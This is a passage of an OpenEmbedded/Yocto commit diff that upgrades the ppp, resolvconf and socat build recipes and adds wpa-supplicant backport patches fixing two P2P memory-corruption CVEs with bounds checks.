+Signed-off-by: Richard Purdie <richard.purdie@linuxfoundation.org>
+
+Index: ppp-2.4.9/pppd/Makefile.linux
+===================================================================
+--- ppp-2.4.9.orig/pppd/Makefile.linux
++++ ppp-2.4.9/pppd/Makefile.linux
+@@ -80,7 +80,8 @@ PLUGIN=y
+ #USE_SRP=y
+
+ # Use libutil; test if logwtmp is declared in <utmp.h> to detect
+-ifeq ($(shell echo '\#include <utmp.h>' | $(CC) -E - 2>/dev/null | grep -q logwtmp && echo yes),yes)
++UTMPHEADER = "\#include <utmp.h>"
++ifeq ($(shell echo $(UTMPHEADER) | $(CC) -E - 2>/dev/null | grep -q logwtmp && echo yes),yes)
+ USE_LIBUTIL=y
+ endif
+
+@@ -143,7 +144,8 @@ CFLAGS += -DHAS_SHADOW
+ #LIBS += -lshadow $(LIBS)
+ endif
+
+-ifeq ($(shell echo '\#include <crypt.h>' | $(CC) -E - >/dev/null 2>&1 && echo yes),yes)
++CRYPTHEADER = "\#include <crypt.h>"
++ifeq ($(shell echo $(CRYPTHEADER) | $(CC) -E - >/dev/null 2>&1 && echo yes),yes)
+ CFLAGS += -DHAVE_CRYPT_H=1
+ LIBS += -lcrypt
+ endif
diff --git a/meta/recipes-connectivity/ppp/ppp/pppd-resolv-varrun.patch b/meta/recipes-connectivity/ppp/ppp/pppd-resolv-varrun.patch
deleted file mode 100644
index a72414ff8a..0000000000
--- a/meta/recipes-connectivity/ppp/ppp/pppd-resolv-varrun.patch
+++ /dev/null
@@ -1,45 +0,0 @@
-The patch comes from OpenEmbedded
-Rebased for ppp-2.4.5. Dongxiao Xu <dongxiao.xu@intel.com>
-
-Upstream-Status: Inappropriate [embedded specific]
-
-diff -ruN ppp-2.4.5-orig/pppd/ipcp.c ppp-2.4.5/pppd/ipcp.c
---- ppp-2.4.5-orig/pppd/ipcp.c 2010-06-30 15:51:12.050166398 +0800
-+++ ppp-2.4.5/pppd/ipcp.c 2010-06-30 17:02:33.930393283 +0800
-@@ -55,6 +55,8 @@
- #include <sys/socket.h>
- #include <netinet/in.h>
- #include <arpa/inet.h>
-+#include <sys/stat.h>
-+#include <unistd.h>
-
- #include "pppd.h"
- #include "fsm.h"
-@@ -2095,6 +2097,14 @@
- u_int32_t peerdns1, peerdns2;
- {
- FILE *f;
-+ struct stat dirinfo;
-+
-+ if(stat(_PATH_OUTDIR, &dirinfo)) {
-+ if(mkdir(_PATH_OUTDIR, 0775)) {
-+ error("Failed to create directory %s: %m", _PATH_OUTDIR);
-+ return;
-+ }
-+ }
-
- f = fopen(_PATH_RESOLV, "w");
- if (f == NULL) {
-diff -ruN ppp-2.4.5-orig/pppd/pathnames.h ppp-2.4.5/pppd/pathnames.h
---- ppp-2.4.5-orig/pppd/pathnames.h 2010-06-30 15:51:12.043682063 +0800
-+++ ppp-2.4.5/pppd/pathnames.h 2010-06-30 17:03:20.594371055 +0800
-@@ -30,7 +30,8 @@
- #define _PATH_TTYOPT _ROOT_PATH "/etc/ppp/options."
- #define _PATH_CONNERRS _ROOT_PATH "/etc/ppp/connect-errors"
- #define _PATH_PEERFILES _ROOT_PATH "/etc/ppp/peers/"
--#define _PATH_RESOLV _ROOT_PATH "/etc/ppp/resolv.conf"
-+#define _PATH_OUTDIR _ROOT_PATH _PATH_VARRUN "/ppp"
-+#define _PATH_RESOLV _PATH_OUTDIR "/resolv.conf"
-
- #define _PATH_USEROPT ".ppprc"
- #define _PATH_PSEUDONYM ".ppp_pseudonym"
diff --git a/meta/recipes-connectivity/ppp/ppp_2.4.8.bb b/meta/recipes-connectivity/ppp/ppp_2.4.8.bb
deleted file mode 100644
index f9c60d6bad..0000000000
--- a/meta/recipes-connectivity/ppp/ppp_2.4.8.bb
+++ /dev/null
@@ -1,103 +0,0 @@
-SUMMARY = "Point-to-Point Protocol (PPP) support"
-DESCRIPTION = "ppp (Paul's PPP Package) is an open source package which implements \
-the Point-to-Point Protocol (PPP) on Linux and Solaris systems."
-SECTION = "console/network"
-HOMEPAGE = "http://samba.org/ppp/"
-BUGTRACKER = "http://ppp.samba.org/cgi-bin/ppp-bugs"
-DEPENDS = "libpcap openssl virtual/crypt"
-LICENSE = "BSD & GPLv2+ & LGPLv2+ & PD"
-LIC_FILES_CHKSUM = "file://pppd/ccp.c;beginline=1;endline=29;md5=e2c43fe6e81ff77d87dc9c290a424dea \
- file://pppd/plugins/passprompt.c;beginline=1;endline=10;md5=3bcbcdbf0e369c9a3e0b8c8275b065d8 \
- file://pppd/tdb.c;beginline=1;endline=27;md5=4ca3a9991b011038d085d6675ae7c4e6 \
- file://chat/chat.c;beginline=1;endline=15;md5=0d374b8545ee5c62d7aff1acbd38add2"
-
-SRC_URI = "https://download.samba.org/pub/${BPN}/${BP}.tar.gz \
- file://makefile.patch \
- file://pppd-resolv-varrun.patch \
- file://makefile-remove-hard-usr-reference.patch \
- file://pon \
- file://poff \
- file://init \
- file://ip-up \
- file://ip-down \
- file://08setupdns \
- file://92removedns \
- file://copts.patch \
- file://pap \
- file://ppp_on_boot \
- file://provider \
- file://ppp@.service \
- file://fix-CVE-2015-3310.patch \
- file://0001-ppp-Remove-unneeded-include.patch \
- file://0001-pppd-Fix-bounds-check-in-EAP-code.patch \
- "
-
-SRC_URI_append_libc-musl = "\
- file://0001-Fix-build-with-musl.patch \
-"
-SRC_URI[md5sum] = "2ca8342b9804be15103fd3f687af701c"
-SRC_URI[sha256sum] = "f6bf89beae26b2943dff8f1003533d6a5a4909a0fa6edfbec44fe039bbe61bc6"
-
-inherit autotools-brokensep systemd
-
-TARGET_CC_ARCH += " ${LDFLAGS}"
-EXTRA_OEMAKE = "STRIPPROG=${STRIP} MANDIR=${D}${datadir}/man/man8 INCDIR=${D}${includedir} LIBDIR=${D}${libdir}/pppd/${PV} BINDIR=${D}${sbindir}"
-EXTRA_OECONF = "--disable-strip"
-
-# Package Makefile computes CFLAGS, referencing COPTS.
-# Typically hard-coded to '-O2 -g' in the Makefile's.
-#
-EXTRA_OEMAKE += ' COPTS="${CFLAGS} -I${STAGING_INCDIR}/openssl -I${S}/include"'
-
-do_configure () {
- oe_runconf
-}
-
-do_install_append () {
- make install-etcppp ETCDIR=${D}/${sysconfdir}/ppp
- mkdir -p ${D}${bindir}/ ${D}${sysconfdir}/init.d
- mkdir -p ${D}${sysconfdir}/ppp/ip-up.d/
- mkdir -p ${D}${sysconfdir}/ppp/ip-down.d/
- install -m 0755 ${WORKDIR}/pon ${D}${bindir}/pon
- install -m 0755 ${WORKDIR}/poff ${D}${bindir}/poff
- install -m 0755 ${WORKDIR}/init ${D}${sysconfdir}/init.d/ppp
- install -m 0755 ${WORKDIR}/ip-up ${D}${sysconfdir}/ppp/
- install -m 0755 ${WORKDIR}/ip-down ${D}${sysconfdir}/ppp/
- install -m 0755 ${WORKDIR}/08setupdns ${D}${sysconfdir}/ppp/ip-up.d/
- install -m 0755 ${WORKDIR}/92removedns ${D}${sysconfdir}/ppp/ip-down.d/
- mkdir -p ${D}${sysconfdir}/chatscripts
- mkdir -p ${D}${sysconfdir}/ppp/peers
- install -m 0755 ${WORKDIR}/pap ${D}${sysconfdir}/chatscripts
- install -m 0755 ${WORKDIR}/ppp_on_boot ${D}${sysconfdir}/ppp/ppp_on_boot
- install -m 0755 ${WORKDIR}/provider ${D}${sysconfdir}/ppp/peers/provider
- install -d ${D}${systemd_unitdir}/system
- install -m 0644 ${WORKDIR}/ppp@.service ${D}${systemd_unitdir}/system
- sed -i -e 's,@SBINDIR@,${sbindir},g' \
- ${D}${systemd_unitdir}/system/ppp@.service
- rm -rf ${D}/${mandir}/man8/man8
- chmod u+s ${D}${sbindir}/pppd
-}
-
-do_install_append_libc-musl () {
- install -Dm 0644 ${S}/include/net/ppp_defs.h ${D}${includedir}/net/ppp_defs.h
-}
-
-CONFFILES_${PN} = "${sysconfdir}/ppp/pap-secrets ${sysconfdir}/ppp/chap-secrets ${sysconfdir}/ppp/options"
-PACKAGES =+ "${PN}-oa ${PN}-oe ${PN}-radius ${PN}-winbind ${PN}-minconn ${PN}-password ${PN}-l2tp ${PN}-tools"
-FILES_${PN} = "${sysconfdir} ${bindir} ${sbindir}/chat ${sbindir}/pppd ${systemd_unitdir}/system/ppp@.service"
-FILES_${PN}-oa = "${libdir}/pppd/${PV}/pppoatm.so"
-FILES_${PN}-oe = "${sbindir}/pppoe-discovery ${libdir}/pppd/${PV}/rp-pppoe.so"
-FILES_${PN}-radius = "${libdir}/pppd/${PV}/radius.so ${libdir}/pppd/${PV}/radattr.so ${libdir}/pppd/${PV}/radrealms.so"
-FILES_${PN}-winbind = "${libdir}/pppd/${PV}/winbind.so"
-FILES_${PN}-minconn = "${libdir}/pppd/${PV}/minconn.so"
-FILES_${PN}-password = "${libdir}/pppd/${PV}/pass*.so"
-FILES_${PN}-l2tp = "${libdir}/pppd/${PV}/*l2tp.so"
-FILES_${PN}-tools = "${sbindir}/pppstats ${sbindir}/pppdump"
-SUMMARY_${PN}-oa = "Plugin for PPP for PPP-over-ATM support"
-SUMMARY_${PN}-oe = "Plugin for PPP for PPP-over-Ethernet support"
-SUMMARY_${PN}-radius = "Plugin for PPP for RADIUS support"
-SUMMARY_${PN}-winbind = "Plugin for PPP to authenticate against Samba or Windows"
-SUMMARY_${PN}-minconn = "Plugin for PPP to set a delay before the idle timeout applies"
-SUMMARY_${PN}-password = "Plugin for PPP to get passwords via a pipe"
-SUMMARY_${PN}-l2tp = "Plugin for PPP for l2tp support"
-SUMMARY_${PN}-tools = "Additional tools for the PPP package"
diff --git a/meta/recipes-connectivity/ppp/ppp_2.4.9.bb b/meta/recipes-connectivity/ppp/ppp_2.4.9.bb
new file mode 100644
index 0000000000..bd6435e69c
--- /dev/null
+++ b/meta/recipes-connectivity/ppp/ppp_2.4.9.bb
@@ -0,0 +1,99 @@
+SUMMARY = "Point-to-Point Protocol (PPP) support"
+DESCRIPTION = "ppp (Paul's PPP Package) is an open source package which implements \
+the Point-to-Point Protocol (PPP) on Linux and Solaris systems."
+SECTION = "console/network"
+HOMEPAGE = "http://samba.org/ppp/"
+BUGTRACKER = "http://ppp.samba.org/cgi-bin/ppp-bugs"
+DEPENDS = "libpcap openssl virtual/crypt"
+LICENSE = "BSD-3-Clause & BSD-3-Clause-Attribution & GPLv2+ & LGPLv2+ & PD"
+LIC_FILES_CHKSUM = "file://pppd/ccp.c;beginline=1;endline=29;md5=e2c43fe6e81ff77d87dc9c290a424dea \
+ file://pppd/plugins/passprompt.c;beginline=1;endline=10;md5=3bcbcdbf0e369c9a3e0b8c8275b065d8 \
+ file://pppd/tdb.c;beginline=1;endline=27;md5=4ca3a9991b011038d085d6675ae7c4e6 \
+ file://chat/chat.c;beginline=1;endline=15;md5=0d374b8545ee5c62d7aff1acbd38add2"
+
+SRC_URI = "https://download.samba.org/pub/${BPN}/${BP}.tar.gz \
+ file://makefix.patch \
+ file://pon \
+ file://poff \
+ file://init \
+ file://ip-up \
+ file://ip-down \
+ file://08setupdns \
+ file://92removedns \
+ file://pap \
+ file://ppp_on_boot \
+ file://provider \
+ file://ppp@.service \
+ file://0001-ppp-fix-build-against-5.15-headers.patch \
+ "
+
+SRC_URI[sha256sum] = "f938b35eccde533ea800b15a7445b2f1137da7f88e32a16898d02dee8adc058d"
+
+inherit autotools-brokensep systemd
+
+TARGET_CC_ARCH += " ${LDFLAGS}"
+EXTRA_OEMAKE = "CC='${CC}' STRIPPROG=${STRIP} MANDIR=${D}${datadir}/man/man8 INCDIR=${D}${includedir} LIBDIR=${D}${libdir}/pppd/${PV} BINDIR=${D}${sbindir}"
+EXTRA_OECONF = "--disable-strip"
+
+# Package Makefile computes CFLAGS, referencing COPTS.
+# Typically hard-coded to '-O2 -g' in the Makefile's.
+#
+EXTRA_OEMAKE += ' COPTS="${CFLAGS} -I${STAGING_INCDIR}/openssl -I${S}/include"'
+
+EXTRA_OECONF:append:libc-musl = " --disable-ipxcp"
+
+do_configure () {
+ oe_runconf
+}
+
+do_install:append () {
+ make install-etcppp ETCDIR=${D}/${sysconfdir}/ppp
+ mkdir -p ${D}${bindir}/ ${D}${sysconfdir}/init.d
+ mkdir -p ${D}${sysconfdir}/ppp/ip-up.d/
+ mkdir -p ${D}${sysconfdir}/ppp/ip-down.d/
+ install -m 0755 ${WORKDIR}/pon ${D}${bindir}/pon
+ install -m 0755 ${WORKDIR}/poff ${D}${bindir}/poff
+ install -m 0755 ${WORKDIR}/init ${D}${sysconfdir}/init.d/ppp
+ install -m 0755 ${WORKDIR}/ip-up ${D}${sysconfdir}/ppp/
+ install -m 0755 ${WORKDIR}/ip-down ${D}${sysconfdir}/ppp/
+ install -m 0755 ${WORKDIR}/08setupdns ${D}${sysconfdir}/ppp/ip-up.d/
+ install -m 0755 ${WORKDIR}/92removedns ${D}${sysconfdir}/ppp/ip-down.d/
+ mkdir -p ${D}${sysconfdir}/chatscripts
+ mkdir -p ${D}${sysconfdir}/ppp/peers
+ install -m 0755 ${WORKDIR}/pap ${D}${sysconfdir}/chatscripts
+ install -m 0755 ${WORKDIR}/ppp_on_boot ${D}${sysconfdir}/ppp/ppp_on_boot
+ install -m 0755 ${WORKDIR}/provider ${D}${sysconfdir}/ppp/peers/provider
+ install -d ${D}${systemd_system_unitdir}
+ install -m 0644 ${WORKDIR}/ppp@.service ${D}${systemd_system_unitdir}
+ sed -i -e 's,@SBINDIR@,${sbindir},g' \
+ ${D}${systemd_system_unitdir}/ppp@.service
+ rm -rf ${D}/${mandir}/man8/man8
+ chmod u+s ${D}${sbindir}/pppd
+}
+
+do_install:append:libc-musl () {
+ install -Dm 0644 ${S}/include/net/ppp_defs.h ${D}${includedir}/net/ppp_defs.h
+}
+
+CONFFILES:${PN} = "${sysconfdir}/ppp/pap-secrets ${sysconfdir}/ppp/chap-secrets ${sysconfdir}/ppp/options"
+PACKAGES =+ "${PN}-oa ${PN}-oe ${PN}-radius ${PN}-winbind ${PN}-minconn ${PN}-password ${PN}-l2tp ${PN}-tools"
+FILES:${PN} = "${sysconfdir} ${bindir} ${sbindir}/chat ${sbindir}/pppd ${systemd_system_unitdir}/ppp@.service"
+FILES:${PN}-oa = "${libdir}/pppd/${PV}/pppoatm.so"
+FILES:${PN}-oe = "${sbindir}/pppoe-discovery ${libdir}/pppd/${PV}/*pppoe.so"
+FILES:${PN}-radius = "${libdir}/pppd/${PV}/radius.so ${libdir}/pppd/${PV}/radattr.so ${libdir}/pppd/${PV}/radrealms.so"
+FILES:${PN}-winbind = "${libdir}/pppd/${PV}/winbind.so"
+FILES:${PN}-minconn = "${libdir}/pppd/${PV}/minconn.so"
+FILES:${PN}-password = "${libdir}/pppd/${PV}/pass*.so"
+FILES:${PN}-l2tp = "${libdir}/pppd/${PV}/*l2tp.so"
+FILES:${PN}-tools = "${sbindir}/pppstats ${sbindir}/pppdump"
+SUMMARY:${PN}-oa = "Plugin for PPP for PPP-over-ATM support"
+SUMMARY:${PN}-oe = "Plugin for PPP for PPP-over-Ethernet support"
+SUMMARY:${PN}-radius = "Plugin for PPP for RADIUS support"
+SUMMARY:${PN}-winbind = "Plugin for PPP to authenticate against Samba or Windows"
+SUMMARY:${PN}-minconn = "Plugin for PPP to set a delay before the idle timeout applies"
+SUMMARY:${PN}-password = "Plugin for PPP to get passwords via a pipe"
+SUMMARY:${PN}-l2tp = "Plugin for PPP for l2tp support"
+SUMMARY:${PN}-tools = "Additional tools for the PPP package"
+
+# Ignore compatibility symlink rp-pppoe.so->pppoe.so
+INSANE_SKIP:${PN}-oe += "dev-so"
diff --git a/meta/recipes-connectivity/resolvconf/resolvconf_1.83.bb b/meta/recipes-connectivity/resolvconf/resolvconf_1.83.bb
deleted file mode 100644
index 33ee553d19..0000000000
--- a/meta/recipes-connectivity/resolvconf/resolvconf_1.83.bb
+++ /dev/null
@@ -1,68 +0,0 @@
-SUMMARY = "name server information handler"
-DESCRIPTION = "Resolvconf is a framework for keeping track of the system's \
-information about currently available nameservers. It sets \
-itself up as the intermediary between programs that supply \
-nameserver information and programs that need nameserver \
-information."
-SECTION = "console/network"
-LICENSE = "GPLv2+"
-LIC_FILES_CHKSUM = "file://COPYING;md5=c93c0550bd3173f4504b2cbd8991e50b"
-AUTHOR = "Thomas Hood"
-HOMEPAGE = "http://packages.debian.org/resolvconf"
-RDEPENDS_${PN} = "bash"
-
-SRC_URI = "git://salsa.debian.org/debian/resolvconf.git;protocol=https \
- file://fix-path-for-busybox.patch \
- file://99_resolvconf \
- "
-
-SRCREV = "d001dd2b7ce4c854eaa29e46b9640ab66c6e70bb"
-
-S = "${WORKDIR}/git"
-
-# the package is taken from snapshots.debian.org; that source is static and goes stale
-# so we check the latest upstream from a directory that does get updated
-UPSTREAM_CHECK_URI = "${DEBIAN_MIRROR}/main/r/resolvconf/"
-
-inherit allarch
-
-do_compile () {
- :
-}
-
-do_install () {
- install -d ${D}${sysconfdir}/default/volatiles
- install -m 0644 ${WORKDIR}/99_resolvconf ${D}${sysconfdir}/default/volatiles
- if ${@bb.utils.contains('DISTRO_FEATURES', 'systemd', 'true', 'false', d)}; then
- install -d ${D}${sysconfdir}/tmpfiles.d
- echo "d /run/${BPN}/interface - - - -" \
- > ${D}${sysconfdir}/tmpfiles.d/resolvconf.conf
- fi
- install -d ${D}${base_libdir}/${BPN}
- install -d ${D}${sysconfdir}/${BPN}
- ln -snf ${localstatedir}/run/${BPN} ${D}${sysconfdir}/${BPN}/run
- install -d ${D}${sysconfdir} ${D}${base_sbindir}
- install -d ${D}${mandir}/man8 ${D}${docdir}/${P}
- cp -pPR etc/resolvconf ${D}${sysconfdir}/
- chown -R root:root ${D}${sysconfdir}/
- install -m 0755 bin/resolvconf ${D}${base_sbindir}/
- install -m 0755 bin/list-records ${D}${base_libdir}/${BPN}
- install -d ${D}/${sysconfdir}/network/if-up.d
- install -m 0755 debian/resolvconf.000resolvconf.if-up ${D}/${sysconfdir}/network/if-up.d/000resolvconf
- install -d ${D}/${sysconfdir}/network/if-down.d
- install -m 0755 debian/resolvconf.resolvconf.if-down ${D}/${sysconfdir}/network/if-down.d/resolvconf
- install -m 0644 README ${D}${docdir}/${P}/
- install -m 0644 man/resolvconf.8 ${D}${mandir}/man8/
-}
-
-pkg_postinst_${PN} () {
- if [ -z "$D" ]; then
- if command -v systemd-tmpfiles >/dev/null; then
- systemd-tmpfiles --create ${sysconfdir}/tmpfiles.d/resolvconf.conf
- elif [ -e ${sysconfdir}/init.d/populate-volatile.sh ]; then
- ${sysconfdir}/init.d/populate-volatile.sh update
- fi
- fi
-}
-
-FILES_${PN} += "${base_libdir}/${BPN}"
diff --git a/meta/recipes-connectivity/resolvconf/resolvconf_1.87.bb b/meta/recipes-connectivity/resolvconf/resolvconf_1.87.bb
new file mode 100644
index 0000000000..f57abe3619
--- /dev/null
+++ b/meta/recipes-connectivity/resolvconf/resolvconf_1.87.bb
@@ -0,0 +1,68 @@
+SUMMARY = "name server information handler"
+DESCRIPTION = "Resolvconf is a framework for keeping track of the system's \
+information about currently available nameservers. It sets \
+itself up as the intermediary between programs that supply \
+nameserver information and programs that need nameserver \
+information."
+SECTION = "console/network"
+LICENSE = "GPLv2+"
+LIC_FILES_CHKSUM = "file://COPYING;md5=c93c0550bd3173f4504b2cbd8991e50b"
+AUTHOR = "Thomas Hood"
+HOMEPAGE = "http://packages.debian.org/resolvconf"
+RDEPENDS:${PN} = "bash"
+
+SRC_URI = "git://salsa.debian.org/debian/resolvconf.git;protocol=https;branch=unstable \
+ file://fix-path-for-busybox.patch \
+ file://99_resolvconf \
+ "
+
+SRCREV = "1dda36d8465e335c60190c41e7185d782da1bd7b"
+
+S = "${WORKDIR}/git"
+
+# the package is taken from snapshots.debian.org; that source is static and goes stale
+# so we check the latest upstream from a directory that does get updated
+UPSTREAM_CHECK_URI = "${DEBIAN_MIRROR}/main/r/resolvconf/"
+
+inherit allarch
+
+do_compile () {
+ :
+}
+
+do_install () {
+ install -d ${D}${sysconfdir}/default/volatiles
+ install -m 0644 ${WORKDIR}/99_resolvconf ${D}${sysconfdir}/default/volatiles
+ if ${@bb.utils.contains('DISTRO_FEATURES', 'systemd', 'true', 'false', d)}; then
+ install -d ${D}${sysconfdir}/tmpfiles.d
+ echo "d /run/${BPN}/interface - - - -" \
+ > ${D}${sysconfdir}/tmpfiles.d/resolvconf.conf
+ fi
+ install -d ${D}${base_libdir}/${BPN}
+ install -d ${D}${sysconfdir}/${BPN}
+ ln -snf ${localstatedir}/run/${BPN} ${D}${sysconfdir}/${BPN}/run
+ install -d ${D}${sysconfdir} ${D}${base_sbindir}
+ install -d ${D}${mandir}/man8 ${D}${docdir}/${P}
+ cp -pPR etc/resolvconf ${D}${sysconfdir}/
+ chown -R root:root ${D}${sysconfdir}/
+ install -m 0755 bin/resolvconf ${D}${base_sbindir}/
+ install -m 0755 bin/list-records ${D}${base_libdir}/${BPN}
+ install -d ${D}/${sysconfdir}/network/if-up.d
+ install -m 0755 debian/resolvconf.000resolvconf.if-up ${D}/${sysconfdir}/network/if-up.d/000resolvconf
+ install -d ${D}/${sysconfdir}/network/if-down.d
+ install -m 0755 debian/resolvconf.resolvconf.if-down ${D}/${sysconfdir}/network/if-down.d/resolvconf
+ install -m 0644 README ${D}${docdir}/${P}/
+ install -m 0644 man/resolvconf.8 ${D}${mandir}/man8/
+}
+
+pkg_postinst:${PN} () {
+ if [ -z "$D" ]; then
+ if command -v systemd-tmpfiles >/dev/null; then
+ systemd-tmpfiles --create ${sysconfdir}/tmpfiles.d/resolvconf.conf
+ elif [ -e ${sysconfdir}/init.d/populate-volatile.sh ]; then
+ ${sysconfdir}/init.d/populate-volatile.sh update
+ fi
+ fi
+}
+
+FILES:${PN} += "${base_libdir}/${BPN}"
diff --git a/meta/recipes-connectivity/socat/socat_1.7.3.4.bb b/meta/recipes-connectivity/socat/socat_1.7.3.4.bb
deleted file mode 100644
index f3f569d262..0000000000
--- a/meta/recipes-connectivity/socat/socat_1.7.3.4.bb
+++ /dev/null
@@ -1,53 +0,0 @@
-SUMMARY = "Multipurpose relay for bidirectional data transfer"
-DESCRIPTION = "Socat is a relay for bidirectional data \
-transfer between two independent data channels."
-HOMEPAGE = "http://www.dest-unreach.org/socat/"
-
-SECTION = "console/network"
-
-LICENSE = "GPL-2.0-with-OpenSSL-exception"
-LIC_FILES_CHKSUM = "file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263 \
- file://README;beginline=257;endline=287;md5=338c05eadd013872abb1d6e198e10a3f"
-
-SRC_URI = "http://www.dest-unreach.org/socat/download/socat-${PV}.tar.bz2 \
-"
-
-SRC_URI[md5sum] = "3cca4f8cd9d2d1caabd9cc099451bac9"
-SRC_URI[sha256sum] = "972374ca86f65498e23e3259c2ee1b8f9dbeb04d12c2a78c0c9b5d1cb97dfdfc"
-
-inherit autotools
-
-EXTRA_AUTORECONF += "--exclude=autoheader"
-
-EXTRA_OECONF += "ac_cv_have_z_modifier=yes \
- ac_cv_header_bsd_libutil_h=no \
- sc_cv_termios_ispeed=no \
- ${TERMBITS_SHIFTS} \
-"
-
-TERMBITS_SHIFTS ?= "sc_cv_sys_crdly_shift=9 \
- sc_cv_sys_tabdly_shift=11 \
- sc_cv_sys_csize_shift=4"
-
-TERMBITS_SHIFTS_powerpc = "sc_cv_sys_crdly_shift=12 \
- sc_cv_sys_tabdly_shift=10 \
- sc_cv_sys_csize_shift=8"
-
-TERMBITS_SHIFTS_powerpc64 = "sc_cv_sys_crdly_shift=12 \
- sc_cv_sys_tabdly_shift=10 \
- sc_cv_sys_csize_shift=8"
-
-PACKAGECONFIG_class-target ??= "tcp-wrappers readline openssl"
-PACKAGECONFIG ??= "readline openssl"
-PACKAGECONFIG[tcp-wrappers] = "--enable-libwrap,--disable-libwrap,tcp-wrappers"
-PACKAGECONFIG[readline] = "--enable-readline,--disable-readline,readline"
-PACKAGECONFIG[openssl] = "--enable-openssl,--disable-openssl,openssl"
-
-CFLAGS += "-fcommon"
-
-do_install_prepend () {
- mkdir -p ${D}${bindir}
- install -d ${D}${bindir} ${D}${mandir}/man1
-}
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-connectivity/socat/socat_1.7.4.2.bb b/meta/recipes-connectivity/socat/socat_1.7.4.2.bb
new file mode 100644
index 0000000000..0edde6a2e4
--- /dev/null
+++ b/meta/recipes-connectivity/socat/socat_1.7.4.2.bb
@@ -0,0 +1,52 @@
+SUMMARY = "Multipurpose relay for bidirectional data transfer"
+DESCRIPTION = "Socat is a relay for bidirectional data \
+transfer between two independent data channels."
+HOMEPAGE = "http://www.dest-unreach.org/socat/"
+
+SECTION = "console/network"
+
+LICENSE = "GPL-2.0-with-OpenSSL-exception"
+LIC_FILES_CHKSUM = "file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263 \
+ file://README;beginline=257;endline=287;md5=82520b052f322ac2b5b3dfdc7c7eea86"
+
+SRC_URI = "http://www.dest-unreach.org/socat/download/socat-${PV}.tar.bz2 \
+"
+
+SRC_URI[sha256sum] = "6690a9f9990457b505097a272bbf2cbf4cc35576176f76646e3524b0e91c1763"
+
+inherit autotools
+
+EXTRA_AUTORECONF += "--exclude=autoheader"
+
+EXTRA_OECONF += "ac_cv_have_z_modifier=yes \
+ ac_cv_header_bsd_libutil_h=no \
+ sc_cv_termios_ispeed=no \
+ ${TERMBITS_SHIFTS} \
+"
+
+TERMBITS_SHIFTS ?= "sc_cv_sys_crdly_shift=9 \
+ sc_cv_sys_tabdly_shift=11 \
+ sc_cv_sys_csize_shift=4"
+
+TERMBITS_SHIFTS:powerpc = "sc_cv_sys_crdly_shift=12 \
+ sc_cv_sys_tabdly_shift=10 \
+ sc_cv_sys_csize_shift=8"
+
+TERMBITS_SHIFTS:powerpc64 = "sc_cv_sys_crdly_shift=12 \
+ sc_cv_sys_tabdly_shift=10 \
+ sc_cv_sys_csize_shift=8"
+
+PACKAGECONFIG:class-target ??= "tcp-wrappers readline openssl"
+PACKAGECONFIG ??= "readline openssl"
+PACKAGECONFIG[tcp-wrappers] = "--enable-libwrap,--disable-libwrap,tcp-wrappers"
+PACKAGECONFIG[readline] = "--enable-readline,--disable-readline,readline"
+PACKAGECONFIG[openssl] = "--enable-openssl,--disable-openssl,openssl"
+
+CFLAGS += "-fcommon"
+
+do_install:prepend () {
+ mkdir -p ${D}${bindir}
+ install -d ${D}${bindir} ${D}${mandir}/man1
+}
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-connectivity/wpa-supplicant/wpa-supplicant/CVE-2021-0326.patch b/meta/recipes-connectivity/wpa-supplicant/wpa-supplicant/CVE-2021-0326.patch
new file mode 100644
index 0000000000..8c90fa3421
--- /dev/null
+++ b/meta/recipes-connectivity/wpa-supplicant/wpa-supplicant/CVE-2021-0326.patch
@@ -0,0 +1,45 @@
+From 947272febe24a8f0ea828b5b2f35f13c3821901e Mon Sep 17 00:00:00 2001
+From: Jouni Malinen <jouni@codeaurora.org>
+Date: Mon, 9 Nov 2020 11:43:12 +0200
+Subject: [PATCH] P2P: Fix copying of secondary device types for P2P group
+ client
+
+Parsing and copying of WPS secondary device types list was verifying
+that the contents is not too long for the internal maximum in the case
+of WPS messages, but similar validation was missing from the case of P2P
+group information which encodes this information in a different
+attribute. This could result in writing beyond the memory area assigned
+for these entries and corrupting memory within an instance of struct
+p2p_device. This could result in invalid operations and unexpected
+behavior when trying to free pointers from that corrupted memory.
+
+Upstream-Status: Backport
+CVE: CVE-2021-0326
+
+Reference to upstream patch:
+[https://w1.fi/cgit/hostap/commit/?id=947272febe24a8f0ea828b5b2f35f13c3821901e]
+
+Credit to OSS-Fuzz: https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=27269
+Fixes: e57ae6e19edf ("P2P: Keep track of secondary device types for peers")
+Signed-off-by: Jouni Malinen <jouni@codeaurora.org>
+Signed-off-by: Stefan Ghinea <stefan.ghinea@windriver.com>
+---
+ src/p2p/p2p.c | 2 ++
+ 1 file changed, 2 insertions(+)
+
+diff --git a/src/p2p/p2p.c b/src/p2p/p2p.c
+index a08ba02..079270f 100644
+--- a/src/p2p/p2p.c
++++ b/src/p2p/p2p.c
+@@ -453,6 +453,8 @@ static void p2p_copy_client_info(struct p2p_device *dev,
+ dev->info.config_methods = cli->config_methods;
+ os_memcpy(dev->info.pri_dev_type, cli->pri_dev_type, 8);
+ dev->info.wps_sec_dev_type_list_len = 8 * cli->num_sec_dev_types;
++ if (dev->info.wps_sec_dev_type_list_len > WPS_SEC_DEV_TYPE_MAX_LEN)
++ dev->info.wps_sec_dev_type_list_len = WPS_SEC_DEV_TYPE_MAX_LEN;
+ os_memcpy(dev->info.wps_sec_dev_type_list, cli->sec_dev_types,
+ dev->info.wps_sec_dev_type_list_len);
+ }
+--
+2.17.1
+
diff --git a/meta/recipes-connectivity/wpa-supplicant/wpa-supplicant/CVE-2021-27803.patch b/meta/recipes-connectivity/wpa-supplicant/wpa-supplicant/CVE-2021-27803.patch
new file mode 100644
index 0000000000..004b1dbd19
--- /dev/null
+++ b/meta/recipes-connectivity/wpa-supplicant/wpa-supplicant/CVE-2021-27803.patch
@@ -0,0 +1,58 @@
+From 8460e3230988ef2ec13ce6b69b687e941f6cdb32 Mon Sep 17 00:00:00 2001
+From: Jouni Malinen <jouni@codeaurora.org>
+Date: Tue, 8 Dec 2020 23:52:50 +0200
+Subject: [PATCH] P2P: Fix a corner case in peer addition based on PD Request
+
+p2p_add_device() may remove the oldest entry if there is no room in the
+peer table for a new peer. This would result in any pointer to that
+removed entry becoming stale. A corner case with an invalid PD Request
+frame could result in such a case ending up using (read+write) freed
+memory. This could only by triggered when the peer table has reached its
+maximum size and the PD Request frame is received from the P2P Device
